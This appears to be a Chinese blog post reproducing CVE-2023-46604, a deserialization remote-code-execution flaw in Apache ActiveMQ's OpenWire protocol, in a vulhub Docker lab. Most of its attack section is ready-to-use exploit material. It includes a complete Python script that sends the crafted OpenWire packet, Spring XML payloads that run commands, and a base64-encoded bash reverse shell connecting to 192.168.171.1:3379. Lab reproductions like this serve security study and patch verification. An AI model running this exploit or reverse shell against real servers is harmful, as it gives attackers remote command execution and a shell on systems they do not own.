ActiveMQ反序列化RCE漏洞复现(CVE-2023-46604)

漏洞名称

Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞

漏洞描述

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

影响版本

Apache ActiveMQ <= 5.18.2

环境搭建

下载vulhub

bash 复制代码
git clone https://github.com/vulhub/vulhub.git

进入漏洞目录

bash 复制代码
cd vulhub/activemq/CVE-2023-46604

启动环境

bash 复制代码
docker-compose up -d

漏洞复现

首先,启动一个HTTP反连服务器,其中包含我们的poc.xml

python 复制代码
python3 -m http.server 6666

然后,执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:

python 复制代码
python .\poc.py 192.168.171.101 61616 http://192.168.2.116:6666/poc.xml

可以看到poc执行成功

反弹shell

修改xml文件为反弹shell命令

xml 复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzMzNzkgMD4mMQ==}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

附 POC

xml 复制代码
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/activeMQ-RCE-success</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
python 复制代码
import io
import socket
import sys


def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
相关推荐
介一安全9 分钟前
【Frida Android】基础篇6:Java层Hook基础——创建类实例、方法重载、搜索运行时实例
android·java·网络安全·逆向·安全性测试·frida
黄金旺铺3 小时前
从 FinalShell 迁移到 WindTerm:一次安全、高效、开源的终端升级之旅
安全·开源·windterm·finalshell
心 一3 小时前
接口安全测试实战:从数据库错误泄露看如何构建安全防线
数据库·安全
独行soc4 小时前
2025年渗透测试面试题总结-106(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
xixixi777774 小时前
云计算平台的技术安全需求主要分为“端-管-云”三个部分
网络安全·云端·管道·终端安全·客户端安全
A Runner for leave5 小时前
网络与通信安全课程复习汇总1——课程导入
网络·安全·web安全
胡耀超5 小时前
数据安全工具手册——便捷实用的安全工具集-20251014
python·安全·数据安全·加密·数据库安全·脱敏·开源工具
存储世界-瀚海微6 小时前
瀚海微SD NAND/TF卡:赋能全场景数据存储,定义高效安全新基准
安全
贝塔实验室6 小时前
QPSK信号载波同步技术---极性Costas 法载波同步
计算机网络·算法·网络安全·数学建模·信息与通信·信号处理·傅立叶分析
aodunsoft6 小时前
安全月报 | 傲盾DDoS攻击防御2025年9月简报
网络·安全·ddos